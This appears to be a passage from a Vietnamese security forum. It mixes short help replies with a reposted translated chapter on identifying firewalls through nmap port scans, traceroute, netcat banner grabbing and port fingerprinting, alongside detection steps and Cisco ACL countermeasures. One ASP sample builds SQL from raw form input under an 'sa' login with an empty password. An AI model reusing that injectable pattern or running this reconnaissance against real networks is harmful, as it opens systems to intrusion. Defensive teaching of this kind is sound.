110 - Internetwork Control dự tưởng dùng cho gateway điều tác các hosts tạo nên các gói tin nằm sau gateway này.
101 - CRITIC/ECP viết tắt của "Critical and Emergency Call Processing" và dự tưởng chỉ nên dùng trong điều kiện khẩn cấp và đã được cho phép dùng. Ví dụ như ứng dụng cho các đơn vị cao cấp của chính phủ.
100 - Flash Override dự tưởng dành riêng cho các thông điệp liên hệ đến các trường hợp tối khẩn như thiên tai, địa chấn.... hoặc được dùng trong trường hợp tối đặc biệt như phóng vũ khí nguyên tử.
011 - Flash Flash (Z) dự tưởng dành riêng cho chiến trận trong trường hợp cực kỳ khẩn cấp.
010 - Immediate dự tưởng được dùng trong những hoàn cảnh mang tính nguy hại đến bảo mật quốc gia, quân đội đồng minh hoặc dân chúng.
001 - Priority dự tưởng được dùng cho các thông điệp mang tính khẩn hoặc hàm chứa thông tin cần thiết cho những công tác đang diễn tiến.
000 - Routine dự tưởng được dùng cho những thông điệp thích đáng để truyền tải xuyên qua phương tiện dùng các thiết bị điện tử.
Thực tế giá trị precedence không được dùng. diffserv (Differentiated Services) được dùng trong việc ấn định ưu tiên cho packets. Xem thêm ở: http://www.ietf.org/html.charters/diffserv-charter.html
|
|
|
Tớ chua dùng thử slackware bao giờ nhưng lần này dùng thử thằng này xem sao .
|
|
|
Chào bạn!
Trước khi insert data vào Database bạn muốn check xem đã tồn tại username đó chưa thì có thể làm theo cấu trúc sau:
+ truy vấn vào csdl xem có thằng nào có tên giống người dùng vừa nhập vào chưa
+ sau đó lấy recordset với câu truy vấn trên
+ Nếu recordset khác BOF tức là đã có tên như thê trong csdl rồi
+ wwwect đến trang thông báo
Nếu không thì insert data vào csdl
OK
Đây là code mẫu bạn có thể tham khảo (VBScript)
connect.asp
Code:
<%
sub connect(cn)
set cn=server.CreateObject("adodb.connection")
cn.ConnectionString="Provider=SQLOLEDB;Server=(local);Database=database_name;UID=sa;PWD="
cn.CursorLocation=3 'adUseClient
cn.Open
end sub
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
sub GetRS(sql,cn,rs)
set rs=Server.CreateObject("ADODB.recordset")
rs.CursorLocation=3 'adUseClient
rs.Open sql,cn
end sub
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
sub Close(rs,cn)
rs.close
cn.close
set rs=nothing
set cn=nothing
end sub
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
%>
reg_process.asp
Code:
<!-- #include file = "connect.asp" -->
username = Request.Form("username")
sql="select * from users where username='" & username & "'"
call GetRS(sql,cn,rs) 'kiem tra ten dang nhap co bi trung khg?
if not rs.bof then
call Close(rs,cn)
Response.Redirect("Trang thông báo lỗi")
else
' Code insert data into database here!
end if
|
|
|
Bạn tạo zone hay là tạo record vậy?Trang web nội bộ đó host ở máy nào thì gõ ip của máy đó.
|
|
|
Chào bạn!
Muốn tìm hiểu về firewall bạn hãy tìm hiểu về NETWORK (TCP/IP) trước Ban lên thư viện trên HVA download cuốn TCP/IP illustrator về đọc nhé.
|
|
|
phamquoc_truong wrote:
Chỉ cần chạy con này 1 lần, nó sẽ :
+ Nhân bản ra 5 con giống hệt nó, vứt rải rác ở window, system, system32, c:\.
+ Chạy cùng 1 lúc cả 5 chương trình, cứ sau 2s nó sẽ chạy 1 lần.
+ Mỗi lần chạy sẽ ghi vào reg để khởi động cùng window.
Điểm thú vị nhất của con này là : Phải xóa (kill processes) cùng 1 lúc cả 5 con, vì nếu còn 1 con, nó sẽ tái tạo lại 5 con-> chạy cả 5 con. Bắt buộc phải kill processes trước khi xóa, vì nó đang kích hoạt.
Không thể bỏ khi khởi động, kể cả trong safe mode, cứ bỏ sau 2s nó lại ghi vào reg. (máy cài winxp).
Hài ở chỗ là nó chỉ sinh ra để tạo 5 file, chạy 5 file, ghi vào reg. Còn lại không làm gì nữa hết (chết cười với tay nào tạo con này. Made in VN)
Vậy làm sao để kill con này trên win đây ?
Còn nào mà hay vậy cho mình xin cái link download đi
|
|
|
taudienngam wrote:
Minh dang cần phần mềm để sao lưu những nội dung CHAT bằng YM, Ví dụ mình không chát được ở nhà, ra tiệm NET chat, lam sao mà lưu lại những nội dung mình đã chát để xem lai ofline, tốt nhất la tự đông Send đến e-mail cho minh. Vậy huynh đệ nào biết xin chỉ giúp... Thank you
Để lưu message khi chat bạn vào preferences -> archive -> yes sau đó muốn copy về nhà đọc thì bạn vào thư mục:
C:\Program Files\Yahoo!\Messenger\Profiles\Nick của bạn\Archive\Messages\
trong đó có rất nhiều thư mục (tên của nó la ten nick mà bạn đã chat) trong thư mục đó có rất nhiều file dat (có ngày tháng mà bạn chat)
- copy file bạn cần và mang về máy paste đúng vào vị trí đó là OK
Chúc thành công!
|
|
|
Các bác vào xem có tìm được cuốn nào hay không.
http://www.team509.com/download/docs/security/
|
|
|
quangtrungbikip wrote:
Các pác cho em hỏi:"làm sao để sao lưu lại các driver (sound card, display card, ...) để dùng khi cài lại máy?"
Xin các pác chỉ giùm!!!
Bạn dùng phần mềm : Drivers Genius (cái này khá hay vì mình backup tất cả drive vào 1 file .exe lan sau chỉ việc chạy file .exe nay là xong)
Info:
Driver Genius Professional is a professional driver management tool features both driver management and hardware diagnostics. Driver Genius provides such practical functions as driver backup, restoration, update and removal for computer users. If you often reinstall your operating system, you may not forget such painful experiences of searching all around for all kinds of drivers. If unfortunately you have lost your driver CD, the search will be more troublesome and time-consuming.
Now with the driver backup function of Driver Genius, you can backup all drivers in your computer before reinstalling, and restore them with the driver restoration function after system reinstallation has been completed. This will dramatically save your time for driver installation during the system installation procedure, and you will no longer worry about where to find a driver. Besides, you can create an automatic installation package for all drivers in your system by Driver Genius. After you have reinstalled your operating system, you can restore all your drivers in just a click by this automatic restoration program. It’s really convenient. Driver Genius can automatically find driver for a device that the system can’t find a driver for it. It can recognize the name and vendor’s information of the device, and directly provide download URL for the required driver. Driver Genius also supports online updates (by LiveUpdate) for drivers of existing hardware devices. There are more than 30,000 most recent drivers for such hardware devices as motherboards, video cards, sound cards, network cards, modems, monitors, mice, keyboards, digital cameras, video capture cards, etc. on Driver Genius web site. Besides, there are daily updates for many drivers on our site. Our customers can obtain information for latest drivers by Driver Genius’s LiveUpdate program, which can synchronize to the database on our site.
Download:
http://rapidshare.de/files/32532441/D-G-2006_v6.1.2518.zip
|
|
|
dickyhai wrote:
Phiền mọi người cho tui hỏi nhờ các port dưởi đây có ý nghĩa ntn, nếu open thì liệu có thể xâm nhập qua các port này không? Hoặc nó có thể gây hại gì không?
Port 21 - open
Port 25 - open
Port 80 - open
Port 139 - open
Port 514 - open
Port 1025 - open
Port 2666 - open
Port 2667 - open
Port 2673 - open
Port 3389 - open
Nhân tiện đây cũng rất muốn các bạn có thể cho tôi 1 địa chỉ nào để có thể biết về ý nghĩa của các port?
Hy vọng câu hỏi của tôi không làm trái quy định của box này, xin cảm ơn cho tất cả các reply !!!
Bạn Tham khảo danh sách các port ở đây:
http://www.iana.org/assignments/port-numbers
Muốn hiểu thêm về các port đó thì search tên nó trên hva hoặc google
|
|
|
Đó là bạn sử dụng tài nguyên chia sẻ trên máy x.x.x.x chứ có hack cái gì đâu.Bạn post thế chứng tỏ bạn chưa biết gì về máy x.x.x.x cả , bạn nên tìm hiểu thêm về nó . ví dụ : nó dung HDH windows nào? sp mấy?máy đó đang run những dich vụ nào ? ....
|
|
|
diendanvn2006 wrote:
Chào các bác em là Newbie !
Các bác có thể giúp em những kiến thức cơ bản và nâng cao ở đây được không!?
Ví dụ cấu tạo của một chương trình Firewall, Kỹ thuật đóng các port, chặn các Scrip... (trong Windows)
Cảm ơn các bác trước.........
à có bác nào có Sách cơ bản về Firewall (= Tiếng Việt) không cho em xin với
Bạn nên tìm hiểu về TCP/IP trước rồi hãy tìm hiểu về firewall. Tìm cuốn TCP/IP illustrated vol 1,2 của Richard Stevens đọc nhé.Trong ebook của hva hình có đó - cả firewall đó nhiều lắm :wink:
|
|
|
Disable autorun của USB cũng giúp hạn chế trong việc virus lây lan qua USB.
Cách disable :
Run -> gpedit.msc -> administrative templates -> system -> turn off autoplay -> enable -> all drives
|
|
|
Còn modem?Nó chặn các request từ internet đến ftp server của ban rồi . Bạn search lại trong forum xem bài hướng dẫn làm home server xem lại xem.
|
|
|
Tài liệu cũ nhưng khá hay post len cho các bác reference )
==============================================
Suốt từ khi Cheswick và Bellovin viết cuốn anh hùng ca về cách xây dựng các bức tường lửa và theo dõi một hacker quỷ quyệt tên Berferd, ý tưởng thiết đặt một serverweb trên Internet mà không triển khai một bức tường lửa đã được xem là tự sát. Cũng bằng như tự sát nếu quyết định phó mặc các nhiệm vụ về bức tường lửa vào tay các kỹ sư mạng. Tuy giới này có thể tìm hiểu các quan hệ mật thiết về kỹ thuật của một bức tường lửa, song lại không hòa chung nhịp thở với hệ bảo mật và tìm hiểu não trạng cũng như các kỹ thuật của các tay hacker quỷ quyệt. Kết quả là, các bức tường lửa có thể bị chọc thủng do cấu hình sai, cho phép attacker nhảy bổ vào mạng và gây ra đại họa.
I. Tổng quan bức tường lửa
Hai kiểu bức tường lửa đang thống lĩnh thị trường hỉện nay: hệ giám quản ứng dụng (application proxies) và cổng lọc gói tin (packet filtering gateway). Tuy các hệ giám quản ứng dụng được xem là an ninh hơn cổng lọc gói tin, song bản chất hạn hẹp và các hạn chế khả năng vận hành của chúng đã giới hạn chúng vào luồng lưu thông đi ra công ty thay vì luồng lưu thông đi vào serverweb của công ty . mặt khác, trong nhiều tổ chức lớn có các yêu cầu khả năng vận hành cao.
Nhiều người tin rằng hiện chưa xuất hiện bức tường lửa hoàn hảo , nhưng tương lai đầy sán lạng. Một số hăng kinh doanh nh Network Associates Inc. (NAI), AXENT, Internet Dynamics, và Microsoft đã phát triển công nghệ cung cấp tính năng bảo mật ủy nhiệm với khả năng vận hành của công nghệ lọc gói tin (một dạng lai ghép giữa hai công nghệ),song vẫn chưa hoàn thiện .
Suốt từ khi bức tường lửa đầu tiên được cài đặt, các bức tường lửa đã bảo vệ vô số mạng tránh được những cặp mắt tò mò và bọn phá hoại nhưng còn lâu chúng mới trở thành phương thuốc trị bách bệnh bảo mật. Các chỗ yếu bảo mật đều được phát hiện hàng năm với hầu như mọi kiểu bức tường lửa trên thị trường.Tệ hại hơn, hầu hết các bức tường lửa thường bị cấu hình sai, không bảo trì, và không giám sát, ngưỡng cửa mở toang.
Nếu không phạm sai lầm, một bức tường lửa được thiết kế, cấu hình, và bảo trì kỹ lưỡng hầu như không thể đột nhập. Thực tế, hầu hết các kẻ tấn công có tay nghề cao đều biết điều này và sẽ đơn giản tránh vòng qua bức tường lửa bằng cách khai thác các mối quan hệ tin tưởng (trust relationships) và các chỗ yếu bảo mật nối kết lỏng lẻo nhất, hoặc tránh nó hoàn toàn bằng cách tấn công qua một tài khoản quay số.
Ðiểm căn bản: hầu hết attacker dồn mọi nỗ lực để vòng qua một bức tường lửa mạnh - mục tiêu ở đây là tạo một bức tường lửa mạnh.
Với tư cách là điều hành viên bức tường lửa, ta biết rõ tầm quan trọng của việc tìm hiểu kẻ địch. Nắm được các bước đầu tiên mà một attacker thực hiện để bỏ qua các bức tường lửa sẽ giúp bạn rất nhiều trong việc phát hiện và phản ứng lại một cuộc tấn công. Chương này sẽ hướng dẫn bạn qua các kỹ thuật thường dùng hiện nay để phát hiện và điểm danh các bức tường lửa, đồng thời mô tả vài cách mà attacker gắng bỏ qua chúng. Với từng kỹ thuật, ta sẽ tìm hiểu cách phát hiện và ngăn chặn các cuộc tấn công.
II. Ðịnh danh các bức tường lửa
Hầu hết mọi bức tường lửa đều mang một "mùi hơng" điện tử duy nhất. Nghĩa là, với một tiến trình quét cổng, lập cầu lửa, và nắm giữ biểu ngữ đơn giản, bọn tấn cô ng có thể hiệu quả xác định kiểu, phiên bản, và các quy tắc của hầu hết mọi bức tường lửa trên mạng. Tại sao việc định danh này lại quan trọng? Bởi vì một khi đã ánh xạ được các bức tường lửa, chúng có thể bắt đầu tìm hìểu các điểm yếu và gắng khai thác chúng.
1. Quét trực tiếp : Kỹ thuật Noisy
Cách dễ nhất để tìm kiếm các bức tường lửa đó là quét các cổng ngầm định cụ thể. Một số bức tường lửa trên thị trường sẽ tự định danh duy nhất bằng các đợt quét cổng đơn giản bạn chỉ cần biết nội dung tìm kiếm.
Ví dụ, Firewall-1 của Check point lắng chờ trên các cổng TCP 256, 257, 258, và Proxy Server của Microsoft thường lắng chờ trên các cổng TCP 1080 và 1745. Với sự hiểu biết này, quá trình tìm kiếm các kiểu bức tường lửa này chẳng có gì khó với một bộ quét cổng như nmap:
Code:
# nmap -n -vv -P0 -p256,1080,1745 192.168.50.1 - 60.254
Dùng khóa chuyển -PO để vô hiệu hóa tính năng ping ICMP trước khi quét. Ðiều này quan trọng bởi hầu hết bức tường lửa không đáp ứng các yêu cầu dội ICMP.
Cả attacker nhút nhát lẫn hung bạo đều tiến hành quét rộng rãi mạng của bạn theo cách này, tìm kiếm các bức tường lửa này và tìm kiếm mọi khe hở trong két sắt vành đai của bạn. Nhưng attacker nguy hiểm hơn sẽ lùng sục vành đai của bạn càng lén lút càng tốt. Có nhiều kỹ thuật mà attacker có thể sử dụng để hạ sập radar của bạn, bao gồm ngẫu nhiên hóa các ping, các cổng đích, các địa chỉ đích, và các cổng nguồn;dùng các server cò mồi; và thực hiện các đợt quét nguồn có phân phối.
Nếu cho rằng hệ thống phát hiện xâm nhập (IDS) của bạn như RealSecure của Internet Security Systems hoặc SessionWall-3 của Abirnet sẽ phát hiện attacker nguy hiểm này, bạn nên suy nghĩ lại.
Hầu hết các IDS đều ngầm định cấu hình để chỉ nghe các đợt quét cổng ngu đần và ồn ào nhất. Trừ phi bạn sử dụng IDS nhanh nhạy và tinh chỉnh các ký danh phát hiện, hầu hết các cuộc tấn công sẽ hoàn toàn làm ngơ. Bạn có thể tạo một đợt quét ngẫu nhiên hóa nh vậy bằng cách dùng các ký mã Perl cung cấp trên chuyên khu web www.osborne.com/hacking .
Các biện pháp phòng chống
Bạn cần phong tỏa các kiểu quét này tại các bộ định tuyến biên hoặc dùng một kiểu công cụ phát hiện đột nhập nào đó miễn phí hoặc thương mại. Mặc dù thế, các đợt quét cổng đơn lẻ sẽ không đợc thu nhặt theo ngầm định trong hầu hết các IDS do đó bạn phải tinh chỉnh độ nhạy cảm của nó trước khi có thể dựa vào tính năng phát hiện.
Phát Hiện
Ðể chính xác phát hiện các đợt quét cổng bằng tính năng ngẫu nhiên hóa và các server cò mồi, bạn cần tinh chỉnh từng lý danh phát hiện quét cổng. Tham khảo tài liệu hướng dẫn sử dụng của hãng kinh doanh IDS để biết thêm chi tiết.
Nêu muốn dùng RealSecure 3.0 để phát hiện tiến trình quét trên đây, bạn ắt phải nâng cao độ nhạy cảm của nó theo các đợt quét cổng đơn lẻ bàng cách sửa đổi các tham số của ký danh quét cổng. Bạn nên thay đổi các nội dung dới đây để tạo độ nhạy cảm cho quét này:
1. Lựa và tùy biến (Customize) Network Engine Policy.
2. Tìm "Port Scan" và lựa tùy chọn Options.
3. Thay đổi ports thành 5 cổng.
4. Thay đổi Delta thành 60 giây.
Nếu đang dùng Firewall-l với UNIX, bạn có thể dùng trình tiện ích của Lance Spitzner để phát hiện các đợt quét cổng Firewall-1 www.enteract.com/~lspitz/intrusion.html. Ký mã alert.sh của ng sẽ cấu hình Check point để phát hiện và giám sát các đợt quét cổng và chạy một User Defined Alert khi đợc ứng tác.
Phòng Chống
Ðể ngăn cản các đợt quét cổng bức tường lửa từ Internet, bạn cần phong tỏa các cổng này trên các bộ định tuyến đứng trước các bức tường lửa. Nếu các thiết bị này do ISP quản lý, bạn cần liên hệ với họ để tiến hành phong tỏa. Nếu tự bạn quản lý chúng, bạn có thể dùng các Cisco ACL dớí đây để phong tỏa rõ rệt các đợt quét đã nêu trên đây:
Code:
access - list 101 deny tcp any any eq 256 log ! Block Firewall-l scans
access - list 101 deny tcp any any eq 257 log ! Block Firewall-l scans
access - list 101 deny tcp any any eq 258 log ! Block Firewall-l scans
access - list 101 deny tcp any any eq 1080 log ! Block Socks scans
access - list 101 deny tcp any any eq 1745 log ! Block Winsock scans
Ghi chú : Nếu phong tỏa các cổng của Check Point (256-258) tại các bộ dịnh tuyến biên, bạn sẽ không thể quản lửa bừc từờng lửa từ lnternet. Ngoài ra, tất cả các bộ định tuyến phải có một quy tắc dọn dẹp (nếu không khước từ các gói tìn
theo ngầm định), sẽ có cùng hiệu ứng nh khi chỉ định các tác vụ khước từ:
access - list 101 deny ip any any log ! Deny and log any packet that got through our ACLs above
2. Rà Tuyến Ðường
Một cách thinh lặng và tinh tế hơn để tìm các bức tường lửa trên một mạng đó là dùng traceroute . Bạn có thể dùng traceroute của UNIX hoặc tracert.exe của NT để tìm từng chặng dọc trên trên đường truyền đến đích và tiến hành suy diễn. Traceroute của Linux có tùy chọn -I, thực hiện rà đường bằng cách gửi các gói tin ICMP, trái với kỹ thuật gói tin UDP ngầm định.
Code:
$ traceroute - I www.yourcompany.com
traceroute to www.yourcompany.com ( 172.17.100.2 ) , 30 hops max, 140 byte packets
1 attack-gw ( 192.168.50.21) 5.801 ms 5.105 ms 5.445 ms
2 gw1.smallisp.net ( 192.168.51.l)
3 gw2.smallisp.net ( 192.168.52.2)
.....
13 hssi.bigisp.net ( 10.55.201.2 )
14 seriall.bigisp.net ( 10.55.202.l)
15 www.yourcompany.com ( 172.29.11.2)
Có cơ may chặng đứng ngay trước đích ( 10.55.202.1) là bức tường lửa, nhưng ta cha biết chắc. Cần phải đào sâu thêm một chút.
Ví dụ trên đây là tuyệt vời nếu các bộ định tuyến giữa bạn và các serverđích đáp ứng các gói tin có TTL hết hạn. Nhưng một số bộ định tuyến và bức tường lửa đợc xác lập để không trả về các gói tin ICMP có TTL hết hạn (từ các gói tin ICMP lẫn UDP). Trong trờng hợp này, sự suy diễn ít khoa học hơn. Tất cả những gì bạn có thể thực hiện đó là chạy traceroute và xem chặng nào đáp ứng cuối cùng, và suy ra đây là một bức tường lửa hoặc chí ít là bộ định tuyến đầu tiên trong đường truyền bắt đầu phong tỏa tính năng tracerouting. Ví dụ, ở đây ICMP đang bị phong tỏa đến đích của nó, và không có đáp ứng nào từ các bộ định tuyến vợt quá client - gw.smallisp.net :
Code:
1 stoneface (192.168.10.33) 12.640 ms 8.367 ms
2 gw1.localisp.net (172.31.10.1) 214.582 ms 197.992 ms
3 gw2.localisp.net (172.31.10.2) 206.627 ms 38.931 ms
4 dsl.localisp.net (172.31.12.254) 47.167 ms 52.640 ms
........
14 ATM6.LAX2.BIGISP.NET (10.50.2.1) 250.030 ms 391.716 ms
15 ATM7.SDG.BIGISP.NET (10.50.2.5) 234.668 ms 384.525 ms
16 client-gw.smallisp.net (10.50.3.250) 244.065 ms ! X * *
17 * * *
18 * * *
Các Biện Pháp Phòng Chống
Việc chỉnh sửa sự rò rỉ thông tin traceroute đó là hạn chế tối đa các bức tường lửa và bộ định tuyến đáp ứng các gói tin có TTL hết hạn. Tuy nhiên, điều này không phải lúc nào cũng n m dới sự kiểm soát của bạn vì nhiều bộ định tuyến có thể n m dới s điều khiển cúa ISP.
Phát Hiện
Ðể phát hiện các traceroute chuẩn trên biên, bạn cần giám sát các gói tin UDP và ICMP có giá trị TTL là 1. Ðể thực hiện điều này với RealSecure 3.0, bạn bảo đảm đánh dấu TRACE_ROUTE decode name trong Security Events của Network Engine Policy.
Phòng chống
Ðể ngăn cản các traceroute chạy trên biên, bạn có thể cấu hình các bộ định tuyến không đáp ứng các thông điệp TTL EXPI#800000 khi nó nhận một gói tin có TTL là 0 hoặc 1. ACL dới đây sẽ làm việc với các bộ định tuyến Cisco:
Code:
access - list 101 deny ip any any 11 0 ! ttl-exceeded
Hoặc theo lý tởng, bạn nên phong tỏa toàn bộ luồng lu thông UDP không cần thiết tại các bộ định tuyến biên.
3. Nắm Giữ Biểu Ngữ
Kỹ thuật quét tìm các cổng bức tường lừa là hữu ích trong việc định vị các bức tường lửa, nhưng hầu hết các bức tường lửa không lắng chờ trên các cổng ngầm định như Check point và Microsoft, do đó việc phát hiện phải đợc suy diễn. Nhiều bức tường lứa phổ dụng sẽ công bố sự hiện diện của chúng bằng cách đơn giản nối với chúng. Ví dụ , nhiều bức tường lửa giám quản sẽ công bố chức năng cúa chúng với cách một bức tường lửa, và một số sẽ quảng cáo kiểu và phiên bản của chúng. Ví dụ, khi ta nối với một máy được tin là một bức tường lửa bằng netcat trên cổng 21 (FTP ), ta sẽ thấy một số thông tin thú vị :
Code:
C:\TEMP>nc -v -n 192.168.51.129 2 l
[UNKNOWN] [ 192.168.5l.129 ] 2 l ( ? ) open
220 Secure Gateway FTP server ready .
Biểu ngữ "Secure Gateway server FTP ready" là một dấu hiệu lộ tẩy của một hộp Eagle Raptor cũ. Việc nối thêm với cổng 23 (telnet) sẽ xác nhận tên bức tường lửa là "Eagle."
Code:
C:\TEMP>nc -v -n 192.168.51.129 23
[UNKNOWN] [ 192.168.5l.129 ] 23 ( ? ) open
Eagle Secure Gateway . Hostname :
Và cuối cùng. nếu vẫn chưa bị thuyết phục server của bạn là một bức tường lửa. bạn có thể netcat với cổng 25 ( SMTP ), và nó sê báo cho ban biết nó là gì:
Code:
C:\TEMP>nc -v -n 192.168.51.129 25
[UNKNOWN] [ 192.168.5l.129 ] 25 ( ? ) open
421 fw3.acme.com Sorry, the firewall does not provide mail service to you.
Như đã thấy trong các ví dụ trên đây, thông tin biều ngữ có thể cung cấp các thông tin quý giá cho attacker trong khi định danh các bức tường lửa. Dùng thông tin này, chúng có thể khai thác các chỗ yếu phổ biến hoặc các cấu hình sai chung.
Biện Pháp Phòng Chống
Ðể chỉnh sửa chỗ yếu rò rỉ thông tin này, bạn giới hạn thông tin biểu ngữ quảng cáo. Một biểuu ngữ tốt có thể kèm theo một mục cảnh giác mang tính pháp lý và tất cả mọi nỗ lực giao kết sẽ đợc ghi sổ. Các chi tiết thay đổi cụ thể của các biểu ngữ ngầm định sẽ tùy thuộc nhiều vào bức tường lửa cụ thể, do đó bạn cần liên hệ hãng kinh doanh bức tường lửa.
Phòng Chống
Ðể ngăn cản attacker giành được quá nhiều thông tin về các bức tường lửa từ các biểu ngữ quảng cáo, bạn có thể thay đổi các tập tin cấu hình biểu ngữ. Các khuyến nghị cụ thể thờng tùy thuộc vào hãng kinh doanh bức tường lửa. Trên các bức tường lửa Eagle Raptor, bạn có thể thay đổi các biểu ngữ ftp và telnet bằng cách sửa đổi các tập tin thông báo trong ngày: tập tin ftp.motd và telnet.motd.
4. Kỹ Thuật Phát Hiện Bức tường Lửa Cao Cấp
Nếu tiến trình quét cổng tìm các bức tường lửa trực tiếp, dò theo đường truyền, và nắm giữ biểu ngữ không mang lại hiệu quả, attacker sẽ áp dụng kỹ thuật điểm danh bức tường lửa theo cấp kế tiếp. Có thể suy diễn các bức tường lửa và các quy tắc ACL của chúng bằng cách dò tìm các đích và lu ý các lộ trình phải theo (hoặc không theo) để đến đó.
Suy Diễn Ðơn Giản với nmap
Nmap là một công cụ tuyệt vời để phát hiện thông tin bức tường lửa và chúng t i liên tục dùng nó. Khi nmap quét một hệ chủ, nó không chỉ báo cho bạn biết các cổng nào đang mở hoặc đóng, mà còn cho biết các cổng nào đang bị phong tỏa. Lợng (hoặc thiếu) thông tin nhận đợc từ một đợt quét cổng có thể cho biết khá nhiều về cấu hình của bức tường lửa. Một cổng đã lọc trong nmap biểu hiện cho một trong ba nội dung sau:
• không nhận gói tin SYN/ACK nào.
• không nhận gói tin RST/ACK nào.
• Ðã nhận một thông báo ICMP type 3 (Destination Unreachable ) có một mã 13 (Communication Administratively Prohibited - [RFC1812])
Nmap gom chung cả ba điều kiện này và báo cáo nó dới dạng một cổng "đã lọc." Ví dụ, khi quét www.mycompany.com ta nhận hai gói tin ICMP cho biết bức tường lửa đã phong tỏa các cổng 23 và 111 từ hệ thống cụ thể của chúng ta.
Code:
# nmap -p20, 21, 23, 53, 80, 111 - P0 -vv
www.mycompany.com
Starting nmap V. 2.08 by Fyodor ( <a href="mailto:fyodor@dhp.com">fyodor@dhp.com</a> <mailto:fyodor@dhp.com>, www.insecure.org/nmap/ )
Initiating TCP connect ( ) scan agains t ( 172.32.12.4 )
Adding TCP port 53 (state Open)
Adding TCP port 111 ( state Firewalled )
Adding TCP port 80 ( state Open)
Adding TCP port 23 ( state Firewalled) .
Interesting ports on ( 172.17.12.4 ) :
port State Protocol Service
23 filtered tcp telnet
53 open tcp domain
80 open tcp http
111 filtered tcp sunrpc
Trạng thái "Firewalled", trong kết quả trên đây, là kết quả của việc nhận một ICMP type 3, mã 13 (Admin Prohibited Filter), như đã gặp trong kết xuất tcpdump:
Code:
23 : 14 : 01.229743 10.55.2.1 > 172.29.11.207 : icmp : host 172.32.12.4
nreachable - admin prohibited filter
23 : 14 : 01.97 9743 10.55.2.l > 172.29.11.207 : icmp : host 172.32.12.4
nreachable - admin prohibited filter
Làm sao để nmap kết hợp các gói tin này với các gói tin ban đầu, nhất là khi chúng chỉ là một vài trong biển cả các gói tin đang ríu rít trên mạng? Vâng, gói tin ICMP đợc gửi trở lại cho máy quét sẽ chứa đựng tất cả các dữ liệu cần thiết để tìm hiều nội dung đang xảy ra. Cổng đang bị phong tỏa là phần một byte trong phần đầu ICMP tại byte 0x41 ( 1 byte), và bức tường lửa lọc gửi thông điệp sẽ n m trong phần IP của gói tin tại byte
0x1b (4 byte).
Cuối cùng, một cổng cha lọc nmap chỉ xuất hiện khi bạn quét một số cổng và nhận trở lại một gói tin RST/ACK. Trong trạng thái "unfiltered", đợt quét của chúng ta hoặc đang đi qua bức tường lửa và hệ đích của chúng ta đang báo cho biết nó không lắng chờ trên cổng đó, hoặc bức tường lửa đang đáp ứng đích và đánh lừa địa chỉ IP của nó với cờ RST/ACK đợc ấn định. Ví dụ, đợt quét một hệ thống cục bộ cho ta hai cổng cha lọc khi nó nhận hai gói tin RST/ACK từ cùng hệ chủ. Sự kiện này cũng có thể xảy ra với một số bức tường lửa nh Check point (với quy tắc REJECT) khi nó đáp ứng đích đang gửi trả một gói tin RST/ACK và đánh lừa địa chỉ IP nguồn của đích. .
Code:
# nmap - sS -p1 -300 172.18.20.55
Starting nmap V . 2.08 by Fyodor ( <a href="mailto:fyodor@dhp.com">fyodor@dhp.com</a> <mailto:fyodor@dhp.com>, www.insecure.org/nmap/ )
Interesting ports on ( 172.18.20.55 ) :
(Not showing ports in state : filtered)
Port State Protocol Service
7 unfiltered tcp echo
53 unfilteres tcp domain
256 open tcp rap
257 open tcp set
258 open tcp yak-chat
Nmap run completed - 1 IP address ( 1 host up ) scanned in 15 seconds
Ðợt rà gói tin tcpdump kết hợp nêu các gói tin RST/ACK đã nhận.
21 :26 :22.742482 172.18.20.55.258 > 172.29.11.207.39667 : S
415920470 : 1415920470 ( 0 ) ack 3963453111 win 9112 <mss 536> (DF )
(ttl 254, id 50438 )
21 :26 :23.282482 172.18.20.55.53 > 172.29.11.207.39667 :
R 0 : 0 ( 0 ) ack 3963453111 win 0 (DF ) ( ttl 44, id 50439 )
21 :2 6: 24.362482 172.18.20.55.257 > 172.29.111.207.39667 : S
1416174328 : 1416174328 ( 0 ) ack 396345311 win X112
<mss 5 3 6 >
( DF ) ( ttl 254, id 504 0 )
21: 26: 26.282482 172.18.20.55.7 > 17.2.29.11.207.39667 :
R 0 : 0 ( 0 ) ack 3963453111 win 0 ( DF ) ( ttl 44, id 50441)
Các Biện Pháp Phòng Chống
Ðể ngăn cản attacker điểm danh các ACL bộ định tuyến và bức tường lửa thông qua kỹ thuật admin prohibited filter", bạn có thể v hiệu hóa khả năng đáp ứng với gói tin ICMP type 13 của bộ định tuyến. Trên Cisco, bạn có thể thực hiện điều này bàng cách phong tỏa thiết bị đáp ứng các thông điệp IP không thể đụng đến no ip unreachables
5. Ðịnh Danh Cổng
Một số bức tường lửa có một dấu ấn duy nhất xuất híện dới dạng một sêri con số phân biệt với các bức tường lửa khác. Ví dụ, Check Point sẽ hiển thì một sêri các con số khi bạn nối với cổng quản lý SNMP của chúng, TCP 257. Tuy sự hiện diện đơn thuần của các cổng 256-259 trên một hệ thống thờng cũng đủ là một dấu chỉ báo về sự hiện diện của Firewall-1 của Check Point song trắcônghiệm sau đây sẽ xác nhận nó :
Code:
[ root@bldg_043]# nc -v -n 192.168.51.1 257
( UNKNOWN) [ 192.168.51.1] 257 ( ? ) open
30000003
[ root@bldg_043 # nc -v -n 172.29.11.19l 257
(UNKNOWN ) [ 172.29.11.191] 257 ( ? ) open
31000000
Các Biện Pháp Phòng Chống
Phát Hiện
Ðể phát hiện tuyến nối của một kẻ tấn công với các cổng của bạn. bạn bố sung một sự kiện tuyến nối trong RealSecure. Theo các bớc sau:
1. Hiệu chỉnh nội quy
2. Lựa tab Connection Events.
3. Lựa nut Add Connection, và điền một mục cho Check Point.
4. Lựa đích kéo xuống và lựa nút Add.
5. Ðiền dịch vụ và cổng, nhắp OK.
6. Lựa cổng mới, và nhắp lại OK.
7. Giờ đây lựa OK và áp dụng lại nội quy cho động cơ.
Phòng Chống
Ðể ngăn cản các tuyến nối với cổng TCP 257, bạn phong tỏa chúng tại các bộ định tuyến thượng nguồn. Một Cisco ACL đơn giản nh dới đây có thể khước từ rõ rệt một nỗ lực của bọn tấn công:
Code:
access -list 101 deny tcp any any eq 257 log ! Block Firewall- l scans
III. Quét qua các bức tường lửa
Ðừng lo, đoạn này không có ý cung cấp cho bọn nhóc ký mã một số kỹ thuật ma thuật để vô hiệu hóa các bức tường lửa. Thay vì thế, ta sẽ tìm hiểu một số kỹ thuật để nhảy múa quanh các bức tường lửa và thu thập một số thông tin quan trọng về các lộ trình khác nhau xuyên qua và vòng quanh chúng.
1. hping
